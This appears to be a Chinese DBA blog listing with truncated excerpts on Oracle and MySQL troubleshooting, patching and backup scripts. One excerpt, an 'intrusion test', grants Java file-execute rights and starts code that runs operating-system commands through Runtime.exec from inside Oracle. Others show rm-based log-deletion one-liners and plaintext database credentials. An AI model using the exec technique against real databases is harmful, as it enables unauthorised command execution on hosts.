Oracle----使用bcv进行同步时数据库故障
环境:使用bcv同步数据过程中发现shutdown immediate时,一直挂起由于分布事务中使用dblink连接,但是由于tnsname无法连接,无法进行回滚或提交于是将分布事务删除Mon Aug 1 10:19:18 2011Shutting down instance (immediate)License high water mark = 42Mon Aug 1 10:20:34 2011Errors in file /oracle/admin/zhyz/bdump/zhyz2_reco_888898.trc:ORA-12154: TNS:could not resolve service nameMon Aug 1 10:24:17 2011Active call for process 168892 user 'oracle' program 'oracle@acctdb (J000)'SHUTDOWN: waiting for active calls
Oracle----10202库碰到crs无法启动
北京一客户,Oracle 10202 RAC 2011-07-29 17:37:30.870: [ COMMCRS][301]clsc_connect: (110e61bd0) no listener at (ADDRESS=(PROTOCOL=ipc)(KEY=OCSSD_LL_pekax134_crs))2011-07-29 17:37:30.870: [ CSSCLNT][1]clsssInitNative: connect failed, rc 92011-07-29 17:39:31.637unspecified member number is (2)Failure registering in group OCLSMON_, member 2, data 4.2011-07-29 17:39:31.649Internal Error Information: Category: 1 Operation: failed to putenv() system partit Location: sskgxn_gs_in Other: Dep: -22正在
Oracle----升级数据库时碰到 "plan_table" is old version
SQL> select object_name,object_type,owner from dba_objects where object_name like '%PLAN_TABLE%'OBJECT_NAME OBJECT_TYPE OWNER------------------------------ ------------------- ------------------------------PLAN_TABLE SYNONYM OFFLINE_AAMSPLAN_TABLE SYNONYM OFFLINE_DFS_UPLAN_TABLE TABLE SYSPLAN_TABLE TABLE OFFLINE_EMS31PLAN_TABLE TABLE OFFLINE_DEC1PLAN_TABLE SYNONYM OFFLINE_PUBPLAN_TABLE TABLE OFFLINE_BWSPLAN_TABLE TABLE OFFLINE_MNLPLAN_TABLE TABLE OFFLINE_DFSPLAN_TABLE SYNONYM OFFLINE_DFS_QPLA
Oracle----Bug 8226792 when exec statspack.snap
Oracle 10205:select sid,event,p1,p2 from v$session_wait where event not like '%message%' SID EVENT P1 P2---------- -------------------------------------------------- ---------- ---------- 5368 control file sequential read 0 92 5441 Streams AQ: qmn coordinator idle wait 0 0 5443 Streams AQ: qmn slave idle wait 0
Oracle----查看补丁时 Oui Found No Such Oracle_home Set In The Environment
oracle>opatch lsinventoryOracle Interim Patch Installer version 1.0.0.0.63Copyright (c) 2009 Oracle Corporation. All Rights Reserved..Oracle recommends you to use the latest OPatch versionand read the OPatch documentation available in the OPatch/docsdirectory for usage. For information about the latest OPatch andother support-related issues, refer to document ID 293369.1available on My Oracle Support (https://myoraclesupport.oracle.com)Oracle Home : /oracle/app/oracle/product/9.2.0Oracle Home
Oracle----ORA-07445: exception encountered: core dump [kggibr()+52] [SIGSEGV] [ADDR:0x0] [PC:0x10013
Oracle 11201 DataGuard on AIX 6.1standby database报错:Exception [type: SIGSEGV, Invalid permissions for mapped object] [ADDR:0x0] [PC:0x100137314, kggibr()+52] [flags: 0x0, count: 1]Errors in file /oracle/app/oracle/diag/rdbms/wkapp51dr/wkapp51/trace/wkapp51_pr09_8585236.trc (incident=88265):ORA-07445: exception encountered: core dump [kggibr()+52] [SIGSEGV] [ADDR:0x0] [PC:0x100137314] [Invalid permissions for mapped object] []Incident details in: /oracle/app/oracle/diag/rdbms/wkapp51dr/wkapp51
Oracle----ORA-600[4454], [], [], [], [], [], [], []
北京客户两节点库 Oracle 9.2.0.8 RAC on AIX 5300-05-CSP, HACMP 5.3,每节点60 CPU,128 G内存后台报错:ORA-00600: internal error code, arguments: [4454], [], [], [], [], [], [], []Note: For additional ORA-600 related information please read Note:146580.1PURPOSE: This article discusses the internal error "ORA-600 [4454]", what it means and possible actions. The information here is only applicable to the versions listed and is provided only for guidance. ERROR:
Oracle----10204最后PSU已经发布
2011年7月19日发布了oracle 10.2.0.4的最终psu(除Solaris x86 (32-bit) and Apple Mac OS X 外),版本为10.2.0.4.9 ,目前10.2版本PSU 列表如下:Oracle Database Patch Set UpdateUnixComments10.2.0.4.18576156Bash 10.2.0.4.010.2.0.4.28833280Bash 10.2.0.4.010.2.0.4.39119284Bash 10.2.0.4.010.2.0.4.49352164Bash psu 10.2.0.4.59654991该psu必须基于10.2.0.4.410.2.0.4.69952234该psu必须基于10.2.0.4.410.2.0.4.710248636该psu必须基于10.2.0.4.410.2.0.4.811724977:该psu必须基于10.2.0.4.410.2.0.4.912419397该psu必须基于10
MySQL----数据库的启动与终止
由于MySQL服务器具有多种安装分发,而且能够运行在多种操作平台之上,因此它的启动与停止的方法也多种多样。你可以根据实际情况使用其中的一种。在你安装、升级或者维护系统时,你可能需要多次启动和终止服务器,你需要了解启动和终止服务器的方方面面。直接运行守护程序1、你可以采用的方法一般的,你可以有以下几种选择启动MySQL服务器,它们的功能和用法几乎是相同的,所以一起在这里介绍:直接使用MySQL守护程序mysqld启动数据库系统,尤其是Win32平台上的分发,这是因为,在Win32平台上没有mysql.server等服务器脚本可用。通过调用sa
Oracle----每半小时作一次snapshot脚本
cat /app/oracle/statspack/statspack_snap.shORACLE_BASE=/app/oracle; export ORACLE_BASEORACLE_HOME=$ORACLE_BASE/product/9.2.0; export ORACLE_HOMEORACLE_SID=xxxx; export ORACLE_SIDNLS_LANG=AMERICAN_AMERICA.ZHS16GBKexport ORACLE_SID ORACLE_HOME NLS_LANG$ORACLE_HOME/bin/sqlplus -S /nolog <<EOFconn perfstat/perfstatexec statspack.snap(i_snap_level=>5);exitEOF将脚本布署在crontab里:0,30 * * * * /app/oracle/statspack/statspack_snap.sh >/dev/null 2>&1[@more@]
Oracle----Bug 4517854 ORA-00600 [12235], [], [], [], [], [], [], []
北京客户某数据库Oracle RAC 9208 on AIX 5300-05-CSPsqlplus -vSQL*Plus: Release 9.2.0.8.0 - Production Installed Patch List: ===================== 1) Patch 5496862 applied on Thu Dec 27 02:19:54 GMT+08:00 2007 [ Base Bug(s): 5496862 ] 2) Patch 5508574 applied on Tue Dec 11 22:44:00 GMT+08:00 2007 [ Base Bug(s): 5508574 ] 3) Patch 5659663 applied on Tue Dec 11 22:38:55 GMT+08:00 2007 [ Base Bug(s): 5659663 ] 4) Patch 5523799 applied on Tue Dec 11 22:37:55 GMT+08:00 2007
Oracle----8i数据库调优
ERPDB1#oslevel4.3.3.0ERPDB1#lsps -aPage Space Physical Volume Volume Group Size %Used Active Auto Typepaging02 hdisk85 swapvg 17344MB 26 yes yes lvpaging01 hdisk84 swapvg 17344MB 26 yes yes lvhd6 hdisk2 rootvg 17344MB 26 yes yes lvpaging00 hdisk3 swapvg 17280MB 26 yes yes lvERPDB1#/usr/samples/kernel/vmtune -a nb_mem_pools = 2 nb_frs_per
Mysql----北京一客户mysql数据库备份
mysql -uroot -pstatusselect version();select database(); --显示使用的数据库名select user(); --显示当前的user;select current_date(); --显示当前日期;show create table table_name; --显示表定义,同时可以查看表类型逻辑备份:mysqldump -uroot -p --all-database >fulldb.sql 全库mysqldump -uroot -p mysql >mysql.sql 备指定库恢复:mysql -uroot -p <mysql.sql重置root密码:一、/etc/init.d/mysqld stop 或者 killall -TERM mysqld mysqld_safe --skip-grant-tables & 或者safe_mysqld --skip-grant-tables &
Oracle----10g各进程注解
$ ps -ef | grep ora_ | grep -v greporacle 14385 1 0 Oct10 ? 00:00:01 ora_pmon_WENDINGoracle 14387 1 0 Oct10 ? 00:00:00 ora_psp0_WENDINGoracle 14389 1 0 Oct10 ? 00:00:00 ora_mman_WENDINGoracle 14391 1 0 Oct10 ? 00:00:21 ora_dbw0_WENDINGoracle 14393 1 0 Oct10 ? 00:01:01 ora_lgwr_WENDINGoracle 14395 1 0 Oct10 ? 00:00:01 ora_ckpt_WENDINGoracle 14397 1 0 Oct10 ? 00:01:00 ora_smon_WENDINGoracle 14399 1 0 O
oracle----查询v$instance时,host_name与主机的hostname不一致
由于安装了两个库,查看两个库host_name与hostname都不一致于是怀疑是主机的问题,上网查发现oracle是读取了uname -n里的值而不是hostname的值修改uname的值即可:uname -S test2再看数据库发现host_name的值已修改为test2[@more@]
oracle----删除归档、清理日志、杀oracle进程脚本
删除trc文件:ls -lrt|grep trc|head -150|awk '{print $8}'|xargs rmls -lrt *.trc|head -10|awk '{print $9}'|xargs rm 删除归档文件:ls -lrt|head -10|awk '{print $9}'|xargs rmarchPath=/arch${1}archPercent=`df -g|grep ${archPath}|awk '{print $4}'|sed 's/%//g'`echo $(date)=${archPercent}%cd $archPathif [ ${archPercent} -gt 40 ] ; thenls -ltr *.arc|head -30|awk '{print $9}'|xargs rm echo "archivelog deleted at "$(date)fi删除监听日志文件:tail -1000 listener.log>listener.loglog_file_dir=/oracle
oracle----在线重定义
Privileges Required====================Following privileges are needed to run this package: - Execute privilege to DBMS_REDEFINITION- Create any table- Alter any table- Drop any table- Lock any table- Select any tableCREATE TABLE unpar_table ( id NUMBER(10), create_date DATE, name VARCHAR2(100) ); ALTER TABLE unpar_table ADD ( CONSTRAINT unpar_table_pk PRIMARY KEY (id) ); CREATE INDEX create_date_ind ON unpar_table(create_date); EXEC DBMS_STATS.gather_table_stats('huang', 'unpar_table', cascade
oracle----入侵oracle测试
exec dbms_java.grant_permission( 'FLY', 'SYS:java.io.FilePermission', '<<ALLFILES>>', 'execute');grant javasyspriv to fly;create or replace and compilejava souRCe named "util"asimport java.io.*;import java.lang.*;public class util extends Object{public static int RunThis(String args){Runtime rt = Runtime.getRuntime();int RC = -1;try{Process p = rt.exec(args);int bufSize = 4096;BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);int len;byte buffer[
oracle----了解Oracle Critical Patch Update
Oracle Critical Patch Update是什么?Critical Patch Update(以下简称CPU),是Oracle在2005年开始引入的产品安全更新策略。一般来说CPU包含了Oracle产品安全漏洞的修复补丁集(set of security bug fix)。CPU最早的雏形出现在2005年,该项目致力于为客户周期性地提供累积性的补丁以修复安全漏洞。通常CPU补丁会在每季度开始第一个月的15号发布,按照发布日期的不同可以划分为:January : CPU JAN April : CPU APR July : CPU JUL October : CPU OCT 存在以下3种类型的CPU补丁:Normal CPU:在10.2.0.2之前所有的CPU均是Normal CPU Molecul
oracle----一客户TSM备份脚本
---level0_20110719.txtrun{allocate channel t1 type 'sbt_tape' parms 'ENV=(tdpo_optfile=/usr/tivoli/tsm/client/oracle/bin64/tdpo.opt)' connect allocate channel t2 type 'sbt_tape' parms 'ENV=(tdpo_optfile=/usr/tivoli/tsm/client/oracle/bin64/tdpo.opt)' connect sys/test@rac2;sql 'alter system archive log current';backupincremental level 0filesperset 5format 'db_%d_%t_%s_%p_%T'(database include current controlfile);release channel t1;release channel t2;}--level1_20110719.txtrun {allocate channel t1 t